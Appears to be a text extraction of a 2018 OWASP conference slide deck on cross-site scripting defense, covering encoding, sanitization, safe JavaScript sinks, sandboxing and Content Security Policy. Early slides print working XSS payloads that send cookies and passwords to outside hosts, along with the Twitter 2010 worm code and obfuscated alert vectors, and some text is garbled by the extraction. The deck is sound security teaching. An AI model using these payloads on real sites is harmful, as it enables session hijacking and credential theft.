OWASP LA The Last XSS Defense Talk Jim Manico 2018 08

Download as pdf or txt
Download as pdf or txt
You are on page 1of 75

A ttrib u tio n -S h a re A like C C B Y -S A MANICODE SECURITY

XSS Defense: Where are we going?

What is Cross Site Scripting? (XSS)

Output Escaping

HTML Sanitization

Safe JavaScript Sinks

Sandboxing

Safe JSON UI Usage

Content Security Policy

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 2


XSS Defense Summary
Data Type Context Defense

String HTML Body/Attribute HTML Entity Encode/HTML Attribute Encode

String JavaScript Variable JavaScript Hex Encoding

String GET Parameter URL Encoding

URL Validation, avoid JavaScript: URLs, Attribute Encoding, Safe


String Untrusted URL
URL Verification

String CSS CSS Hex Encoding

HTML Anywhere HTML Sanitization (Server and Client Side)

Any DOM Safe use of JS API's

Untrusted
Any Sandboxing and Deliver from Different Domain
JavaScript

JSON Client Parse Time JSON.parse() or json2.js

JSON Embedded JSON Serialization

Mistakes were made Content Security Policy 3.0

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 3


A ttrib u tio n -S h a re A like C C B Y -S A MANICODE SECURITY 5
What is XSS?

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 6


Attacker
Easy to driven
re-introduce
Cross-Site
SignificantEasy Scripting
Individual vulnerability
businesstypes (XSS)
of
and to
XSS
technical
Easy
Most XSS vulnerability
JavaScript
common
Difficult to fixweb
XSSto exploit
vulnerability
at scale
is a misnomer
are mostly
impact find via auditing
straight forward to fix
potential
ordevelopment
in JavaScript Injection

A ttrib u tio n -S h a re A like C C B Y -S A MANICODE SECURITY 7


Reflected XSS

1 Cookie is stolen.
Hacker can hijack
Hacker sends the Victim’s session.
link to victim.
Link contains
XSS payload.

2 Victim views
page via XSS
link supplied
3 XSS code executes
by Hacker. on Victim’s browser
and sends cookie
to evil server.

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 8


XSS Attack Payloads

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 9


XSS Attack: Cookie Theft

<script>
var
badURL='https://manicode.com?data='
+ uriEncode(document.cookie);
new Image().src = badURL;
</script>

HTTPOnly could prevent this!

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 10


Cookie Options and Security

Set-Cookie: NAME=VALUE; expires=EXPIRES;


path=PATH; domain=DOMAIN;
secure; httponly;

HTTPOnly limits the ability of JavaScript and


HttpOnly other client side scripts to access cookie
data. USE THIS FOR SESSION IDs!

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 11


Stored XSS: Same Site Request Forgery

var ajaxConn = new XHConn();


ajaxConn.connect("/mail?dest=boss@wo
rk.us&subj=YouAreAJerk","GET");

HTTPOnly nor SameSite nor Token


Binding cookies would prevent this!

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 12


XSS Undermining CSRF Defense (Twitter 2010)
var content = document.documentElement.innerHTML;
authreg = new RegExp(/twttr.form_authenticity_token =
'(.*)';/g);
var authtoken = authreg.exec(content);authtoken = authtoken[1];
//alert(authtoken);

var xss = urlencode('http://www.stalkdaily.com"></a><script


src="http://mikeyylolz.uuuq.com/x.js"></script><a ');

var ajaxConn = new


XHConn();ajaxConn.connect("/status/update","POST",
"authenticity_token=" + authtoken+"&status=" + updateEncode +
"&tab=home&update=update");

var ajaxConn1 = new XHConn();

ajaxConn1.connect("/account/settings", "POST",
"authenticity_token="+
authtoken+"&user[url]="+xss+"&tab=home&update=update");

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 13


XSS Attack: Virtual Site Defacement
<script>
var badteam = "Liverpool";
var awesometeam = "Any other team ";
var data = "";
for (var i = 0; i < 50; i++) {
data += "<marquee><blink>";
for (var y = 0; y < 8; y++) {
if (Math.random() > .6) {
data += badteam ;
data += " kicks worse than my mum!";
} else {
data += awesometeam;
data += " is obviously totally awesome!";
}
}
data += "</blink></marquee>";}
document.body.innerHTML=(data + "");
</script>

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 14


XSS Attack: Password Theft/Stored Phishing
<script>
function stealThePassword() {
var data = document.getElementById("password").value;
var img = new Image();
img.src = "http://manico.net/webgoat?pass=" + data;
alert("Login Successful!");
}
document.body.innerHTML='<style> ...LOTS of CSS... </style>
<div id="container">
<form name="xssattacktest"
action="https://someimportantsite.com/login"
method="POST"><label for="username">Username:</label><input
type="text" id="username" name="username"><label
for="password">Password:</label><input type="password"
id="password" name="password"><div id="lower"><input
type="submit" value="Login"
onclick="stealThePassword();"></div>
</form>
</div>';
</script>

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 15


XSS With No Letters!
https://inventropy.us/blog/constructing-an-xss-vector-using-no-letters

""[(!1+"")[3]+(!0+"")[2]+(''+{}
)[2]][(''+{})[5]+(''+{})[1]+(("
"[(!1+"")[3]+(!0+"")[2]+(''+{})
[2]])+"")[2]+(!1+'')[3]+(!0+'')
[0]+(!0+'')[1]+(!0+'')[2]+(''+{
})[5]+(!0+'')[0]+(''+{})[1]+(!0
+'')[1]](((!1+"")[1]+(!1+"")[2]
+(!0+"")[3]+(!0+"")[1]+(!0+"")[
0])+"(3)")()

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 16


alert(1) With No Letters or Numbers!
https://www.jsfuck.com/

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([
][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+
[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]
]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!
+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]
+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![
]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![
]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])
[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[
]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+(
[![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(
!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+
!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[
])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[]
)[+!+[]]])[!+[]+!+[]+[+[]]])()
Attribution-ShareAlike CC BY-SA MANICODE SECURITY 17
Open Source and Cheap XSS Attack Tools

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 18


A ttrib u tio n -S h a re A like C C B Y -S A MANICODE SECURITY
polygot XSS for any UI location

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 20


show login then rewrite all forms to evil.com

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 21


mine

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 22


XSS Defense

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 23


XSS Defense Principles
§ Assume all variables added to a UI are
dangerous
§ Ensure all variables and content added to a
UI are protected from XSS in some way at the
UI layer itself
§ Do not depend on server-side protections
(validation/WAF/etc) to protect you from XSS
§ Be wary of developers disabling framework
features that provide automatic XSS defense ie:
React dangerouslySetInnerHTML

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 24


XSS Defense Summary
Data Type Context Defense

String HTML Body/Attribute HTML Entity Encode/HTML Attribute Encode

String JavaScript Variable JavaScript Hex Encoding

String GET Param eter URL Encoding

URL Validation, avoid JavaScript: URLs, Attribute Encoding,


String Untrusted URL
Safe URL Verification

String CSS CSS Hex Encoding

HTML Anywhere HTML Sanitization (Server and Client Side)

Any DOM Safe use of JS API's

Untrusted
Any Sandboxing and Deliver from Different Domain
JavaScript

JSON Client Parse Time JSON.parse() or json2.js

JSON Embedded JSON Serialization

Mistakes were made Content Security Policy 3.0

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 25


XSS Defense 1: Encoding Libraries
Ruby on Rails
http://api.rubyonrails.org/classes/ERB/Util.html

PHP
http://twig.sensiolabs.org/doc/filters/escape.html
http://framework.zend.com/manual/2.1/en/modules/zend.escaper.introduction.html

Java (Updated March 2017)


https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

.NET AntiXSS Library (v4.3 NuGet released June 2, 2014)


http://www.nuget.org/packages/AntiXss/

Python
Jinja2 Framework has built it and standalone escaping capabilities
"MarkupSafe" library

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 26


<
Attribution-ShareAlike CC BY-SA MANICODE SECURITY 27
& lt;
Attribution-ShareAlike CC BY-SA MANICODE SECURITY 28
Best Practice: Validate and Encode
String email = request.getParameter("email");
out.println("Your email address is: " + email);

String email = request.getParameter("email");


String expression =
"^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$";

Pattern pattern = Pattern.compile(expression,Pattern.CASE_INSENSITIVE);


Matcher matcher = pattern.matcher(email);
if (matcher.matches())
{
out.println("Your email address is: " + Encoder.HtmlEncode(email));
}
else
{
//log & throw a specific validation exception and fail safely
}

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 29


XSS Contexts

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 30


!
Danger: Multiple Contexts
Different encoding and validation techniques
needed for different contexts!

HTML HTML <STYLE> <SCRIPT> URL


Body Attributes Context Context Fragment
Context

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 31


OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

HTML Contexts CSS Contexts


Encode#forHtml(String) Encode#forCssString(String)
Encode#forHtmlContent(String) Encode#forCssUrl(String)
Encode#forHtmlAttribute(String)
Encode#forHtmlUnquotedAttribute(String) JavaScript Contexts
Encode#forJavaScript(String)
XML Contexts Encode#forJavaScriptAttribute(String)
Encode#forXml(String) Encode#forJavaScriptBlock(String)
Encode#forXmlContent(String) Encode#forJavaScriptSource(String)
Encode#forXmlAttribute(String)
Encode#forXmlComment(String) URI/URL contexts
Encode#forCDATA(String) Encode#forUriComponent(String)

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 32


HTML Body Context

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 33


HTML Body Escaping Examples
HTML
OWASP Java Encoder

<div><%= Encode.forHtml(UNTRUSTED) %></div>


<h1><%= Encode.forHtml(UNTRUSTED) %></h1>

AntiXSS.NET
Encoder.HtmlEncode(UNTRUSTED)

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 34


HTML Attribute Body Context

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 35


HTML Attribute Escaping Examples
HTML
OWASP Java Encoder
<input type="text" name="data"
value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" />

<input type="text" name="data"


value=<%= Encode.forHtmlUnquotedAttribute(UNTRUSTED) %> />

AntiXSS.NET
Encoder.HtmlAttributeEncode(UNTRUSTED)

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 36


URL Substring Contexts

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 37


URL Fragment Escaping Examples
URL
URL/URI Escaping
<%-- Encode URL parameter values --%>
<a href="/search?value=UNTRUSTED&order=1#top">

<%-- Encode REST URL parameters --%>


<a href="http://www.manicode.com/page/UNTRUSTED">

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 38


URL Fragment Escaping Examples
URL
OWASP Java Encoder

String theUrl = "/search?value=" +


Encode.forUriComponent(parameterValue) +
"&order=1#top";

<a href="<%=
Encode.forHtmlAttribute(theUrl)
%>">LINK</a>

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 39


Validating Untrusted URLs
public static String validateURL(String UNTRUSTED)
throws ValidationException {
URL
// throws URISyntaxException if invalid URI
URI uri = new URI(UNTRUSTED);

// don't allow relative uris


if (!uri.isAbsolute()) throw new ValidationException("not an
absolute uri");

// don't allows javascript urls, etc…


if ((!"http".equals(uri.getScheme()) &&
(!"https".equals(uri.getScheme())) throw new
ValidationException("http or https urls are only accepted";

// reject user-info urls


if (uri.getUserInfo() != null)
throw new ValidationException("this can only be trouble");

// normalize to get rid of '.' and '..' path components


uri = uri.normalize();

return uri.toASCIIString();
}
Attribution-ShareAlike CC BY-SA MANICODE SECURITY 40
Escaping When Managing Complete URLs
URL
Assuming the untrusted URL has been properly validated

OWASP Java Encoder


<a href="<%= Encode.forHTMLAttribute(untrustedURL) %>">
Encode.forHtml(untrustedURL)
</a>

AntiXSS.NET
<a href="<%= Encoder.HtmlAttributeEncode(untrustedURL) %>">
Encoder.HtmlEncode(untrustedURL)
</a>

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 41


Inline JavaScript Value Contexts

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 42


JavaScript Escaping Examples
JS
OWASP Java Encoder
<button
onclick="alert('<%= Encode.forJavaScript(alertMsg)
%>');">
click me</button>

<script type="text/javascript">
var msg = "<%= Encode.forJavaScript(alertMsg) %>";
alert(msg);
</script>

AntiXSS.NET
Encoder.JavaScriptEncode(alertMsg)

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 43


CSS Value Contexts

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 44


CSS Encoding Examples
CSS
OWASP Java Encoder
<div style="background: url('<%=Encode.forCssUrl(value)%>');">

<style type="text/css">
background-color:'<%=Encode.forCssString(value)%>';
</style>

AntiXSS.NET
Encoder.CssEncode(value)

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 45


Escaping Final Thoughts

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 46


Dangerous Contexts
There are just certain places in HTML
documents where you cannot place
untrusted data
<a $DATA>
<script>eval($DATA);</script>
Be careful of developers disabling escaping
in frameworks that autoescape by default
• dangerouslySetInnerHTML
• bypassSecurityTrustHtml

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 47


GO Template Contexts
{{.}} = O'Reilly: How are <i>you</i>?

Context {{.}} After Modification


{{.}} O'Reilly: How are &lt;i&gt;you&lt;/i&gt;?

<a title='{{.}}'> O&#39;Reilly: How are you?


<a href="/{{.}}"> O&#39;Reilly: How are %3ci%3eyou%3c/i%3e?

<a href="?q={{.}}"> O&#39;Reilly%3a%20How%20are%3ci%3e...%3f


<a onx='f("{{.}}")'> O\x27Reilly: How are \x3ci\x3eyou...?

<a onx='f({{.}})'> "O\x27Reilly: How are \x3ci\x3eyou...?"

<a onx='pattern = /{{.}}/;'> O\x27Reilly: How are \x3ci\x3eyou...\x3f

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 48


Advanced XSS Defense Techniques

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 49


XSS Defense Summary
Data Type Context Defense

String HTML Body/Attribute HTML Entity Encode/HTML Attribute Encode

String JavaScript Variable JavaScript Hex Encoding

String GET Parameter URL Encoding

URL Validation, avoid JavaScript: URLs, Attribute Encoding, Safe


String Untrusted URL
URL Verification

String CSS CSS Hex Encoding

HTML Anywhere HTML Sanitization (Server and Client Side)

Any DOM Safe use of JS API's

Untrusted
Any Sandboxing and Deliver from Different Dom ain
JavaScript

JSON Client Parse Tim e JSON.parse() or json2.js

JSON Em bedded JSON Serialization

Mistakes were made Content Security Policy 3.0

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 50


HTML Sanitization and XSS

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 51


What is HTML sanitation?
§ HTML sanitization takes markup as input, outputs "safe" markup
– Different from encoding
– URLEncoding, HTMLEncoding, will not help you here!

§ HTML sanitization is everywhere

Web Forum Posts w/Markup


Advertisements
Outlook.com

JavaScript-based Windows 8 Store Apps

TinyMCE/CKEditor Widgets

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 52


Examples

This example displays all plugins and buttons that come with the TinyMCE package.

Source output from post

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 53


HTML sanitizers by language

Pure JavaScript (client side)


http://code.google.com /p/google-caja/wiki/JsHtm lSanitizer
https://code.google.com/p/google-caja/source/browse/trunk/src/com/google/caja/plugin/html-sanitizer.js
https://github.com /cure53/DOMPurify

Python
https://pypi.python.org/pypi/bleach

PHP
http://htm lpurifier.org/

.NET
https://github.com /m ganss/Htm lSanitizer

Ruby on Rails
https://rubygem s.org/gem s/loofah
http://api.rubyonrails.org/classes/HTML.htm l

Java
https://www.owasp.org/index.php OWASP_Java_HTML_Sanitizer_Project
JSoup

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 54


Solving real-world problems with the
OWASP HTML Sanitizer Project

The Problem
Web page is vulnerable to XSS because of untrusted HTML.

The Solution
PolicyFactory policy = new HtmlPolicyBuilder()
.allowElements("p")
.allowElements(
new ElementPolicy() {
public String apply(String elementName, List<String> attrs) {
attrs.add("class");
attrs.add("header-" + elementName);
return "div";
}
}, "h1", "h2", "h3", "h4", "h5", "h6"))
.build();
String safeHTML = policy.sanitize(untrustedHTML);

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 55


DOMPurify : Client Side Sanitizer

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 56


Use DOMPurify to Sanitize Untrusted HTML
https://github.com/cure53/DOMPurify

• DOMPurify is a DOM-only, super-fast,


uber-tolerant XSS sanitizer for HTML,
MathML and SVG.
• DOMPurify works with a secure default,
but offers a lot of configurability and hooks.
• Very simply to use
• Demo: https://cure53.de/purify

elem.innerHTML = DOMPurify.sanitize(dangerous);
Attribution-ShareAlike CC BY-SA MANICODE SECURITY 57
DOM XSS

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 58


Dangerous JavaScript functions

§ eval()
!
§ window.execScript()/function()/setInterval()/setTimeo
Direct Execution ut(), requestAnimationFrame()
§ script.src(), iframe.src()

§ document.write(), document.writeln()
§ elem.innerHTML = danger, elem.outerHTML = danger
Build HTML/JavaScript
§ elem.setAttribute("dangerous attribute", danger) –
attributes like: href, src, onclick, onload, onblur, etc.

§ onclick()
Within Execution
Context § onload()
§ onblur(), etc

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 59


Some safe JavaScript sinks
§ elem.textContent = dangerVariable;
§ elem.className = dangerVariable;
§ elem.setAttribute(safeName, dangerVariable);
Setting a Value § formfield.value = dangerVariable;
§ document.createTextNode(dangerVariable);
§ document.createElement(dangerVariable);
§ elem.innerHTML = DOMPurify.sanitize(dangerVar);

Safe JSON Parsing § JSON.parse() (rather than eval())

OK OK OK OK

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 60


Dangerous jQuery
jQuery will evaluate <script> tags and execute
script in a variety of API’s
!
$('#myDiv').html('<script>alert("Hi!");</script>');
$('#myDiv').before('<script>alert("Hi!");</script>');
$('#myDiv').after('<script>alert("Hi!");</script>');
$('#myDiv').append('<script>alert("Hi!");</script>');
$('#myDiv').prepend('<script>alert("Hi!");</script>');
$('<script>alert("Hi!");</script>').appendTo('#myDiv');
$('<script>alert("Hi!");</script>').prependTo('#myDiv');

http://tech.blog.box.com/2013/08/securing-jquery-against-unintended-xss/

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 61


jQuery: But there is more…

§ jQuery(danger) or $(danger)
- This immediately evaluates the input!
!
- E.g., $("<img src=x onerror=alert(1)>")
More Danger § jQuery.globalEval()
§ All event handlers: .bind(events), .bind(type, [,data],
handler()), .on(), .add(html)

§ .text(danger)
Safe Examples § .val(danger)
§ .html(DOMPurify.sanitize(danger));

Some serious research needs to be done to identify all the safe vs. unsafe methods.
There are about 300 methods in jQuery

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 62


Using Safe Functions Safely
someoldpage.jsp UNSAFE

<script>
var elem = document.getElementById('elementId');
elem.textContent = '<%= request.getParameter("data") %>';
</script>

somescript.js SAFE

function somecoolstuff(var elem, var data) {


elem.textContent = data;
}

http://tech.blog.box.com/2013/08/securing-jquery-against-unintended-xss/

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 63


Safe Client-Side JSON Handling

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 64


JSON.parse
§ The example below uses a secure example of using
XMLHTTPRequest to query https://example.com/items.json and uses
JSON.parse to process the JSON that has successfully returned.
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://example.com/item.json");
xhr.onreadystatechange=function() {
if (xhr.readyState === 4){
if(xhr.status === 200){
var response = JSON.parse(xhr.responseText);
} else {
var response = "Error Occurred";
}
}
}
oReq.send();
</script>
Attribution-ShareAlike CC BY-SA MANICODE SECURITY 65
Pre-Fetching Data to Render in JS

• DON'T DO THIS! It could lead to XSS!


<script>
window.__INITIAL_STATE = JSON.stringify(initialState);
</script>

• If the initialState object contains any string


with </script> in it, that will escape out of your
script tag and start appending everything after
it as HTML code.

<script>{{</script><script>alert(‘XSS’)}}</script>

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 66


Pre-Fetching Data Safely

• Running an XSS sanitizer over your JSON object


will most likely mutilate it.
• Serialize embedded JSON with a safe serialization
engine.

Node: https://github.com/yahoo/serialize-javascript.

Example:
<script>window.__INITIAL_STATE = <%=
serialize(initialState) %></script>
Attribution-ShareAlike CC BY-SA MANICODE SECURITY 67
https://github.com/yahoo/serialize-javascript

• Will serialize code to a string of literal JavaScript which


can be embedded in an HTML document by adding it as
the contents of the <script> element.
• In order to make this safe, HTML characters and
JavaScript line terminators are escaped automatically.

serialize({ haxorXSS: '</script>' });

• The above will produce the following string, HTML-


escaped output which is safe to put into an HTML
document as it will not cause the inline script element to
terminate:

{"haxorXSS":"\\u003C\\u002Fscript\\u003E"}
Attribution-ShareAlike CC BY-SA MANICODE SECURITY 68
Sandboxing

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 69


Best Practice Sandboxing
Rich Internet
JavaScript Sandboxing (ECMAScript 5) Application

§ Object.seal( obj )
§ Object.isSealed( obj )
Desktop
§ Sealing an object prevents other Application
code from deleting, or changing the
descriptors of, any of the object's
properties

iFrame Sandboxing (HTML5)


§ <iframe Communication Web
src="demo_iframe_sandbox.jsp" Technology Application
sandbox=""></iframe>
§ Allow-same-origin, allow-top-
navigation, allow-forms, allow-scripts

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 70


XSS Defense Summary
Data Type Context Defense

String HTML Body/Attribute HTML Entity Encode/HTML Attribute Encode

String JavaScript Variable JavaScript Hex Encoding

String GET Parameter URL Encoding

URL Validation, avoid JavaScript: URLs, Attribute Encoding, Safe


String Untrusted URL
URL Verification

String CSS CSS Hex Encoding

HTML Anywhere HTML Sanitization (Server and Client Side)

Any DOM Safe use of JS API's

Untrusted
Any Sandboxing and Deliver from Different Domain
JavaScript

JSON Client Parse Time JSON.parse() or json2.js

JSON Embedded JSON Serialization

Mistakes were m ade Content Security Policy 3.0

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 71


Best Practice Content Security Policy (CSP)

§ Anti-XSS W3C standard


§ CSP 3.0 WSC Candidate published September 2016
https://www.w3.org/TR/CSP3/

§ Add the Content-Security-Policy response header to instruct the


browser that CSP is in use.

§ There are two major features that will enable CSP to help stop XSS.
– Must move all inline script into external files and then enable script-src="self" or similar
– Must use the script nonce or hash feature to provide integrity for inline scripts

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 72


Attribution-ShareAlike CC BY-SA MANICODE SECURITY 73
Conclusion

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 74


XSS Defense Summary
Data Type Context Defense

String HTML Body/Attribute HTML Entity Encode/HTML Attribute Encode

String JavaScript Variable JavaScript Hex Encoding

String GET Param eter URL Encoding

URL Validation, avoid JavaScript: URLs, Attribute Encoding,


String Untrusted URL
Safe URL Verification

String CSS CSS Hex Encoding

HTML Anywhere HTML Sanitization (Server and Client Side)

Any DOM Safe use of JS API's

Untrusted
Any Sandboxing and Deliver from Different Dom ain
JavaScript

JSON Client Parse Tim e JSON.parse() or json2.js

JSON Em bedded JSON Serialization

Mistakes were m ade Content Security Policy 3.0

Attribution-ShareAlike CC BY-SA MANICODE SECURITY 75


[email protected]

J IM M A N IC O S e cu re C o d in g In stru cto r w w w .m a n ico d e .co m

You might also like